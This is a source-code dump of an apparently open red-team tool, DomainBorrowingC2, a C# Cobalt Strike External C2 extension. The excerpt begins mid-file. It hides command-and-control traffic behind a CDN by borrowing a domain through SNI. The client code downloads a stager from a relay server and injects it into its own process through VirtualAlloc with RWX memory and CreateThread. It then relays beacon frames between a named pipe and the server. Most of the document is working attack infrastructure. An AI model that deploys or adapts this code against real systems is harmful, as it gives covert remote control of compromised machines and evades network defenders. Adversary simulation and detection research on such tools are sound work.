143 | SendFrame(Encoding.ASCII.GetBytes("pipename=" + pipeName));
144 | SendFrame(Encoding.ASCII.GetBytes("block=" + taskWaitTime));
145 | SendFrame(Encoding.ASCII.GetBytes("go"));
146 |
147 | return ReadFrame();
148 | }
149 | }
150 | }
151 |
--------------------------------------------------------------------------------
/ClientC2/connectors/BaseConnector.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Threading;
3 | using ClientC2.interfaces;
4 |
5 | namespace ClientC2.connectors
6 | {
7 | public abstract class BaseConnector
8 | {
9 | ///
10 | /// Create a connector using the specified channels
11 | ///
12 | ///
13 | ///
14 | ///
15 | protected BaseConnector(IC2Channel beaconChannel, IC2Channel serverChannel, int sleep)
16 | {
17 | BeaconChannel = beaconChannel;
18 | ServerChannel = serverChannel;
19 | Sleep = sleep;
20 | }
21 |
22 | ///
23 | /// Determines if the current process is 64bit
24 | ///
25 | public bool Is64Bit => IntPtr.Size == 8;
26 |
27 | ///
28 | ///
29 | /// Returns whether the Connector has been started or not
30 | ///
31 | public bool Started { get; private set; }
32 |
33 | ///
34 | /// The channel used for communicating with the beacon
35 | ///
36 | public IC2Channel BeaconChannel { get; protected set; }
37 |
38 | ///
39 | /// The channel used for communication with the server
40 | ///
41 | public IC2Channel ServerChannel { get; protected set; }
42 |
43 | ///
44 | /// The amount of time in milliseconds between messages
45 | ///
46 | public int Sleep { get; protected set; }
47 |
48 | ///
49 | /// The initialization method implemented by the inheriting connection
50 | ///
51 | public abstract Func Initialize { get; }
52 |
53 | ///
54 | /// The main function for relaying C2 communications
55 | ///
56 | ///
57 | public void Go()
58 | {
59 | try
60 | {
61 | if (!Initialize())
62 | throw new Exception("C2 connector was not initialized...");
63 |
64 | if (!ServerChannel.Connected)
65 | throw new Exception("Server Channel is not connected");
66 |
67 | if (!BeaconChannel.Connected)
68 | throw new Exception("Beacon Channel is not connected");
69 |
70 | Started = true;
71 | while (true)
72 | {
73 | if (!BeaconChannel.ReadAndSendTo(ServerChannel)) break;
74 | if (!ServerChannel.ReadAndSendTo(BeaconChannel)) break;
75 | Thread.Sleep(Sleep);
76 | }
77 | Console.WriteLine("[!] Stopping loop, no bytes received");
78 | }
79 | catch (Exception ex)
80 | {
81 | Console.WriteLine($"[!] Exception occured: {ex.Message}");
82 | }
83 | finally
84 | {
85 | Stop();
86 | }
87 | }
88 |
89 | ///
90 | /// Sets the started boolean to false and disconnects the underlying channels
91 | ///
92 | public void Stop()
93 | {
94 | Started = false;
95 |
96 | Console.WriteLine("[-] Closing pipe connection");
97 | BeaconChannel?.Close();
98 |
99 | Console.WriteLine("[-] Closing socket connection");
100 | ServerChannel?.Close();
101 | }
102 | }
103 | }
104 |
--------------------------------------------------------------------------------
/ClientC2/connectors/BeaconConnector.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using ClientC2.interfaces;
4 | using ClientC2.channels;
5 |
6 | namespace ClientC2.connectors
7 | {
8 | public abstract class BeaconConnector : BaseConnector
9 | {
10 | private const uint PAYLOAD_MAX_SIZE = 512 * 1024;
11 | private const uint MEM_COMMIT = 0x1000;
12 | private const uint PAGE_EXECUTE_READWRITE = 0x40;
13 |
14 | ///
15 | /// Creates a new BeaconConnector using the pipeName for the BeaconChannel and the supplied IC2Channel for the
16 | /// ServerChannel
17 | ///
18 | ///
19 | ///
20 | protected BeaconConnector(Guid pipeName, IC2Channel serverChannel, int sleep)
21 | : base(new BeaconChannel(pipeName), serverChannel, sleep)
22 | {
23 | }
24 |
25 | ///
26 | /// Creates a new BeaconConnector using the supplied IC2Channel for the ServerChannel. The BeaconChannel PipeName will
27 | /// need to be manually set with SetPipeName()
28 | ///
29 | ///
30 | protected BeaconConnector(IC2Channel serverChannel, int sleep)
31 | : base(new BeaconChannel(), serverChannel, sleep)
32 | {
33 | }
34 |
35 | ///
36 | /// The Cobalt Strike Beacon ID extracted from initial pipe->server frame
37 | ///
38 | public int ExternalBeaconId => ((BeaconChannel)BeaconChannel).ExternalId;
39 |
40 | ///
41 | /// Injects the supplied payload into the current process and executes it in a new thread
42 | ///
43 | ///
44 | /// The Thread ID for the created thread
45 | public uint InjectStager(byte[] payload)
46 | {
47 | uint threadId = 0;
48 | IntPtr addr = VirtualAlloc(0, PAYLOAD_MAX_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
49 |
50 | Marshal.Copy(payload, 0, addr, payload.Length);
51 | CreateThread(0, 0, addr, IntPtr.Zero, 0, ref threadId);
52 |
53 | return threadId;
54 | }
55 |
56 | [DllImport("kernel32")]
57 | private static extern IntPtr CreateThread(
58 | uint lpThreadAttributes,
59 | uint dwStackSize,
60 | IntPtr lpStartAddress,
61 | IntPtr param,
62 | uint dwCreationFlags,
63 | ref uint lpThreadId
64 | );
65 |
66 | [DllImport("kernel32")]
67 | private static extern IntPtr VirtualAlloc(
68 | uint lpStartAddr,
69 | uint size,
70 | uint flAllocationType,
71 | uint flProtect
72 | );
73 | }
74 | }
75 |
--------------------------------------------------------------------------------
/ClientC2/helpers/Helpers.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Text;
3 | using System.Security.Cryptography;
4 |
5 | namespace ClientC2.helpers
6 | {
7 | public class Helpers
8 | {
9 | public static string GenerateMD5(string input)
10 | {
11 | MD5 md5 = MD5.Create();
12 | byte[] inputBytes = Encoding.ASCII.GetBytes(input);
13 | byte[] hashBytes = md5.ComputeHash(inputBytes);
14 |
15 | StringBuilder sb = new StringBuilder();
16 | for (int i = 0; i < hashBytes.Length; i++)
17 | {
18 | sb.Append(hashBytes[i].ToString("X2"));
19 | }
20 | return sb.ToString();
21 | }
22 | }
23 | }
24 |
--------------------------------------------------------------------------------
/ClientC2/interfaces/IC2Channel.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace ClientC2.interfaces
4 | {
5 | public interface IC2Channel : IDisposable
6 | {
7 | ///
8 | /// Determines if the channel is connected
9 | ///
10 | bool Connected { get; }
11 |
12 | ///
13 | /// Connects to the channel
14 | ///
15 | /// If the channel connected
16 | bool Connect();
17 |
18 | ///
19 | /// Close the channel connection
20 | ///
21 | void Close();
22 |
23 | ///
24 | /// Reads a frame from the channel
25 | ///
26 | /// The frame bytes
27 | byte[] ReadFrame();
28 |
29 | ///
30 | /// Sends a frame to the channel
31 | ///
32 | ///
33 | void SendFrame(byte[] buffer);
34 |
35 | ///
36 | /// Reads a frame and sends it to the other channel
37 | ///
38 | ///
39 | /// If it was successful
40 | bool ReadAndSendTo(IC2Channel c2);
41 |
42 | ///
43 | /// Requests a stager from the channel
44 | ///
45 | ///
46 | ///
47 | ///
48 | /// The stager bytes
49 | byte[] GetStager(string pipeName, bool is64Bit, int taskWaitTime = 100);
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/ClientC2/interfaces/IC2Connector.cs:
--------------------------------------------------------------------------------
1 | using System;
2 |
3 | namespace ClientC2.interfaces
4 | {
5 | public interface IC2Connector
6 | {
7 | ///
8 | /// Determines if the C2 has started
9 | ///
10 | bool Started { get; }
11 |
12 | ///
13 | /// The channel for communicating with the beacon
14 | ///
15 | IC2Channel BeaconChannel { get; }
16 |
17 | ///
18 | /// The channel for communicating with the server
19 | ///
20 | IC2Channel ServerChannel { get; }
21 |
22 | ///
23 | /// The amount of time in milliseconds between messages
24 | ///
25 | int Sleep { get; }
26 |
27 | ///
28 | /// Main initialization function of the C2 Connector
29 | ///
30 | Func Initialize { get; }
31 |
32 | ///
33 | /// Starts the communication loop between the channels
34 | ///
35 | void Go();
36 |
37 | ///
38 | /// Stops the communication channels
39 | ///
40 | void Stop();
41 | }
42 | }
43 |
--------------------------------------------------------------------------------
/Domain borrowing.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.31205.134
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ClientC2", "ClientC2\ClientC2.csproj", "{BC3F0A25-4369-4A4A-9377-73F2CDE81356}"
7 | EndProject
8 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ServerC2", "ServerC2\ServerC2.csproj", "{E257200B-AE49-4461-BEC6-8496BE48EE39}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|Any CPU = Debug|Any CPU
13 | Release|Any CPU = Release|Any CPU
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {BC3F0A25-4369-4A4A-9377-73F2CDE81356}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
17 | {BC3F0A25-4369-4A4A-9377-73F2CDE81356}.Debug|Any CPU.Build.0 = Debug|Any CPU
18 | {BC3F0A25-4369-4A4A-9377-73F2CDE81356}.Release|Any CPU.ActiveCfg = Release|Any CPU
19 | {BC3F0A25-4369-4A4A-9377-73F2CDE81356}.Release|Any CPU.Build.0 = Release|Any CPU
20 | {E257200B-AE49-4461-BEC6-8496BE48EE39}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
21 | {E257200B-AE49-4461-BEC6-8496BE48EE39}.Debug|Any CPU.Build.0 = Debug|Any CPU
22 | {E257200B-AE49-4461-BEC6-8496BE48EE39}.Release|Any CPU.ActiveCfg = Release|Any CPU
23 | {E257200B-AE49-4461-BEC6-8496BE48EE39}.Release|Any CPU.Build.0 = Release|Any CPU
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {FCF05755-1026-49A2-9C75-F6B7233C7F09}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2021 Cerbersec
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # DomainBorrowingC2
2 |
3 | Domain Borrowing is a new method to hide C2 traffic using CDN. It was first presented at Blackhat Asia 2021 by [Junyu Zhou](https://twitter.com/md5_salt) and Tianze Ding. You can find the presentation slides [here](https://www.blackhat.com/asia-21/briefings/schedule/#domain-borrowing-catch-my-c-traffic-if-you-can-22314) and [here](https://i.blackhat.com/asia-21/Thursday-Handouts/as-21-Ding-Domain-Borrowing-Catch-My-C2-Traffic-If-You-Can.pdf).
4 |
5 | DomainBorrowingC2 was made as part of an internship at [NVISO Security](https://nviso.eu/en)'s Red Team. Follow their work on [their blog](https://blog.nviso.eu) and [Twitter](https://twitter.com/NVISO_Labs).
6 |
7 | DomainBorrowingC2 is an extension for Cobalt Strike written in C# using Cobalt Strike's [External C2 spec](https://www.cobaltstrike.com/help-externalc2). It is based on [Ryan Hanson](https://twitter.com/ryhanson)'s [ExternalC2](https://github.com/ryhanson/ExternalC2) library and the [Covenant PoC](https://github.com/Dliv3/DomainBorrowing) provided in the Blackhat Asia 2021 slides.
8 |
9 | I wrote a [blogpost](https://cerbersec.com/2021/05/18/domain-borrowing.html) about it.
10 |
11 | ## ClientC2
12 | The ClientC2 project is responsible for connecting to the CDN and requesting a stager from ServerC2. It manages communications between Beacon and ServerC2.
13 |
14 | Configuration for the client happens in `Program.cs`. The client takes 4 parameters:
15 | 1. domain or ip address to reach the CDN edge server(s)
16 | 2. the SNI
17 | 3. OPTIONAL port to communicate with the CDN, default port is 443
18 | 4. OPTIONAL sleep in milliseconds between messages, default is 60s
19 |
20 | ```csharp
21 | Client client = new Client("target.domain.or.ip.address.here", "target.sni.here", 443, 60000);
22 | ```
23 |
24 | ## ServerC2
25 | The ServerC2 project is responsible for relaying communications between the CDN and Cobalt Strike's Teamserver via the ExternalC2 socket.
26 |
27 | Configuration for the server happens in `SocketSettings.cs`. Specify Cobalt Strike's ExternalC2 listener address and port here.
28 |
29 | ```csharp
30 | public SocketSettings()
31 | {
32 | IpAddress = "127.0.0.1";
33 | Port = "2222";
34 | }
35 | ```
36 |
37 | Launch the server with: `sudo dotnet run --url http://127.0.0.1:80/`. You can customize the IP and port to your liking and configure your CDN appropriately.
38 |
39 | ## Known issues
40 |
41 | * ServerC2 currently depends on ClientC2, so make sure to copy the ClientC2 project before running ServerC2.
--------------------------------------------------------------------------------
/ServerC2/ChannelManager.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Collections.Concurrent;
3 | using System.Linq;
4 | using ClientC2;
5 |
6 | namespace ServerC2
7 | {
8 | ///
9 | /// Manages the relationships between beacons and socket connections
10 | ///
11 | ///
12 | public class ChannelManager where T : class, IDisposable
13 | {
14 | private readonly ConcurrentDictionary _channels =
15 | new ConcurrentDictionary();
16 |
17 | ///
18 | /// Gets all channels
19 | ///
20 | ///
21 | public ConcurrentDictionary GetAll()
22 | {
23 | return _channels;
24 | }
25 |
26 | ///
27 | /// Gets the channel by Beacon identifier
28 | ///
29 | /// The Beacon identifier.
30 | ///
31 | public T GetChannelById(BeaconId id)
32 | {
33 | return _channels.FirstOrDefault(p => p.Key.ToString() == id.ToString()).Value;
34 | }
35 |
36 | ///
37 | /// Gets the identifier for the channel
38 | ///
39 | /// The channel.
40 | ///
41 | public BeaconId GetId(T channel)
42 | {
43 | return _channels.FirstOrDefault(p => p.Value == channel).Key;
44 | }
45 |
46 | ///
47 | /// Adds the channel.
48 | ///
49 | /// Identifier
50 | /// The channel
51 | ///
52 | public BeaconId AddChannel(BeaconId id, T channel)
53 | {
54 | _channels.TryAdd(id, channel);
55 | return GetId(channel);
56 | }
57 |
58 | ///
59 | /// Removes the channel.
60 | ///
61 | /// The identifier.
62 | public void RemoveChannel(BeaconId id)
63 | {
64 | _channels.TryRemove(id, out var socket);
65 | socket.Dispose();
66 | }
67 | }
68 | }
--------------------------------------------------------------------------------
/ServerC2/Controllers/BeaconController.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using ClientC2;
4 | using ClientC2.channels;
5 | using Microsoft.AspNetCore.Mvc;
6 | using Microsoft.Extensions.Options;
7 |
8 | namespace ServerC2
9 | {
10 | ///
11 | /// Relays beacon requests/responses to/from the socket channel
12 | /// rid is not used, it is a random generated token sent by beacon to bypass short time CDN caching if not disabled
13 | ///
14 | ///
15 | [Route("beacon/{rid?}")]
16 | public class BeaconController : Controller
17 | {
18 | private const string IdHeader = "X-C2-Beacon";
19 | private readonly ChannelManager _manager;
20 | private readonly SocketSettings _settings;
21 |
22 | ///
23 | /// Initializes a new instance of the class.
24 | ///
25 | /// The settings.
26 | /// The manager.
27 | public BeaconController(IOptions settings, ChannelManager manager)
28 | {
29 | _settings = settings.Value;
30 | _manager = manager;
31 | }
32 |
33 | ///
34 | /// OPTIONS: /beacon
35 | /// Grabs web channel options and creates new channel for beacon
36 | ///
37 | [HttpOptions]
38 | public void Options()
39 | {
40 | var socket = new SocketChannel(_settings.IpAddress, _settings.Port);
41 | socket.Connect();
42 | var beaconId = new BeaconId { InternalId = Guid.NewGuid() };
43 | _manager.AddChannel(beaconId, socket);
44 |
45 | // TODO: Implement more robust request/response configuration
46 | HttpContext.Response.Headers.Add("X-Id-Header", IdHeader);
47 | HttpContext.Response.Headers.Add("X-Identifier", beaconId.InternalId.ToString());
48 | }
49 |
50 | ///
51 | /// GET: /beacon
52 | /// Calls the socket channel's ReadFrame method
53 | ///
54 | /// Base64 encoded bytes from socket
55 | [HttpGet]
56 | public string Get()
57 | {
58 | var beacon = GetBeacon();
59 |
60 | return beacon.socket != null
61 | ? Convert.ToBase64String(beacon.socket.ReadFrame())
62 | : string.Empty;
63 | }
64 |
65 | ///
66 | /// POST: /beacon
67 | /// Calls the socket channel's SendFrame method
68 | ///
69 | [HttpPost]
70 | public void Post()
71 | {
72 | var reader = new StreamReader(HttpContext.Request.Body);
73 | var b64Str = reader.ReadToEnd();
74 | reader.Dispose();
75 |
76 | var frame = Convert.FromBase64String(b64Str);
77 | GetBeacon().socket.SendFrame(frame);
78 | }
79 |
80 | ///
81 | /// Gets the Beacon ID from the header
82 | ///
83 | /// The beacon's ID and SocketChannel
84 | private (Guid id, SocketChannel socket) GetBeacon()
85 | {
86 | var headers = HttpContext.Request.Headers;
87 | var beaconId = headers.ContainsKey(IdHeader)
88 | ? Guid.Parse(headers[IdHeader])
89 | : Guid.Empty;
90 |
91 | return (beaconId, _manager.GetChannelById(new BeaconId { InternalId = beaconId }));
92 | }
93 | }
94 | }
--------------------------------------------------------------------------------
/ServerC2/Controllers/StagerController.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.IO;
3 | using ClientC2;
4 | using ClientC2.channels;
5 | using Microsoft.AspNetCore.Mvc;
6 | using Microsoft.Extensions.Options;
7 |
8 | namespace ServerC2
9 | {
10 | ///
11 | /// Relays beacon requests/responses to/from the socket channel
12 | ///
13 | ///
14 | [Route("/stager")]
15 | public class StagerController : Controller
16 | {
17 | private const string IdHeader = "X-C2-Beacon";
18 | private readonly ChannelManager _manager;
19 | private readonly SocketSettings _settings;
20 |
21 | ///
22 | /// Initializes a new instance of the class.
23 | ///
24 | /// The settings.
25 | /// The manager.
26 | public StagerController(IOptions settings, ChannelManager manager)
27 | {
28 | _settings = settings.Value;
29 | _manager = manager;
30 | }
31 |
32 |
33 | ///
34 | /// POST: /stager
35 | /// Calls the socket channel's GetStager method
36 | ///
37 | /// Base64 encoded stager
38 | [HttpPost]
39 | public string Post()
40 | {
41 | var is64Bit = HttpContext.Request.Headers["User-Agent"].ToString().Contains("x64;");
42 | var beacon = GetBeacon();
43 | var stager = beacon.socket.GetStager(beacon.id.ToString(), is64Bit);
44 |
45 | return Convert.ToBase64String(stager);
46 | }
47 |
48 | ///
49 | /// Gets the Beacon ID from the header
50 | ///
51 | /// The beacon's ID and SocketChannel
52 | private (Guid id, SocketChannel socket) GetBeacon()
53 | {
54 | var headers = HttpContext.Request.Headers;
55 | var beaconId = headers.ContainsKey(IdHeader)
56 | ? Guid.Parse(headers[IdHeader])
57 | : Guid.Empty;
58 |
59 | return (beaconId, _manager.GetChannelById(new BeaconId { InternalId = beaconId }));
60 | }
61 | }
62 | }
--------------------------------------------------------------------------------
/ServerC2/Program.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.AspNetCore.Hosting;
2 | using Microsoft.Extensions.Configuration;
3 | using Microsoft.Extensions.Hosting;
4 | using Microsoft.Extensions.Logging;
5 | using System;
6 | using System.Collections.Generic;
7 | using System.Linq;
8 | using System.Threading.Tasks;
9 |
10 | namespace ServerC2
11 | {
12 | public class Program
13 | {
14 | public static void Main(string[] args)
15 | {
16 | if(args.Length != 2)
17 | {
18 | Console.WriteLine("Usage: dotnet run --url http://*:80/");
19 | return;
20 | }
21 | CreateHostBuilder(args).Build().Run();
22 | }
23 |
24 | public static IHostBuilder CreateHostBuilder(string[] args) =>
25 | Host.CreateDefaultBuilder(args)
26 | .ConfigureWebHostDefaults(webBuilder =>
27 | {
28 | webBuilder.UseUrls(args[1]).UseStartup();
29 | });
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/ServerC2/Properties/launchSettings.json:
--------------------------------------------------------------------------------
1 | {
2 | "$schema": "http://json.schemastore.org/launchsettings.json",
3 | "iisSettings": {
4 | "windowsAuthentication": false,
5 | "anonymousAuthentication": true,
6 | "iisExpress": {
7 | "applicationUrl": "http://localhost:46275",
8 | "sslPort": 0
9 | }
10 | },
11 | "profiles": {
12 | "IIS Express": {
13 | "commandName": "IISExpress",
14 | "launchBrowser": false,
15 | "launchUrl": "domainborrowing",
16 | "environmentVariables": {
17 | "ASPNETCORE_ENVIRONMENT": "Development"
18 | }
19 | },
20 | "ServerC2": {
21 | "commandName": "Project",
22 | "launchBrowser": false,
23 | "launchUrl": "domainborrowing",
24 | "applicationUrl": "http://localhost:5000",
25 | "environmentVariables": {
26 | "ASPNETCORE_ENVIRONMENT": "Development"
27 | }
28 | }
29 | }
30 | }
31 |
--------------------------------------------------------------------------------
/ServerC2/ServerC2.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | netcoreapp3.1
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
--------------------------------------------------------------------------------
/ServerC2/SocketSettings.cs:
--------------------------------------------------------------------------------
1 | namespace ServerC2
2 | {
3 | ///
4 | /// Settings for connecting to the External C2 server
5 | ///
6 | public class SocketSettings
7 | {
8 | ///
9 | /// Initializes a new instance of the class.
10 | ///
11 | public SocketSettings()
12 | {
13 | IpAddress = "127.0.0.1";
14 | Port = "2222";
15 | }
16 |
17 | ///
18 | /// Gets or sets the ip address.
19 | ///
20 | ///
21 | /// The ip address.
22 | ///
23 | public string IpAddress { get; set; }
24 |
25 | ///
26 | /// Gets or sets the port.
27 | ///
28 | ///
29 | /// The port.
30 | ///
31 | public string Port { get; set; }
32 | }
33 | }
--------------------------------------------------------------------------------
/ServerC2/Startup.cs:
--------------------------------------------------------------------------------
1 | using Microsoft.AspNetCore.Builder;
2 | using Microsoft.AspNetCore.Hosting;
3 | using Microsoft.Extensions.Configuration;
4 | using Microsoft.Extensions.DependencyInjection;
5 | using Microsoft.Extensions.Hosting;
6 | using ClientC2.channels;
7 | using Microsoft.AspNetCore.Server.Kestrel.Core;
8 |
9 | namespace ServerC2
10 | {
11 | public class Startup
12 | {
13 | public Startup(IConfiguration configuration)
14 | {
15 | Configuration = configuration;
16 | }
17 |
18 | public IConfiguration Configuration { get; }
19 |
20 | // This method gets called by the runtime. Use this method to add services to the container.
21 | public void ConfigureServices(IServiceCollection services)
22 | {
23 | services.AddOptions();
24 | services.Configure(Configuration);
25 | services.Configure(options =>
26 | {
27 | options.AllowSynchronousIO = true;
28 | });
29 | services.AddControllers();
30 | services.AddSingleton>();
31 | }
32 |
33 | // This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
34 | public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
35 | {
36 | if (env.IsDevelopment())
37 | {
38 | app.UseDeveloperExceptionPage();
39 | }
40 |
41 | app.UseRouting();
42 |
43 | app.UseAuthorization();
44 |
45 | app.UseEndpoints(endpoints =>
46 | {
47 | endpoints.MapControllers();
48 | });
49 | }
50 | }
51 | }
52 |
--------------------------------------------------------------------------------
/ServerC2/appsettings.Development.json:
--------------------------------------------------------------------------------
1 | {
2 | "Logging": {
3 | "LogLevel": {
4 | "Default": "Information",
5 | "Microsoft": "Warning",
6 | "Microsoft.Hosting.Lifetime": "Information"
7 | }
8 | }
9 | }
10 |
--------------------------------------------------------------------------------
/ServerC2/appsettings.json:
--------------------------------------------------------------------------------
1 | {
2 | "Logging": {
3 | "LogLevel": {
4 | "Default": "Information",
5 | "Microsoft": "Warning",
6 | "Microsoft.Hosting.Lifetime": "Information"
7 | }
8 | },
9 | "AllowedHosts": "*"
10 | }
11 |
--------------------------------------------------------------------------------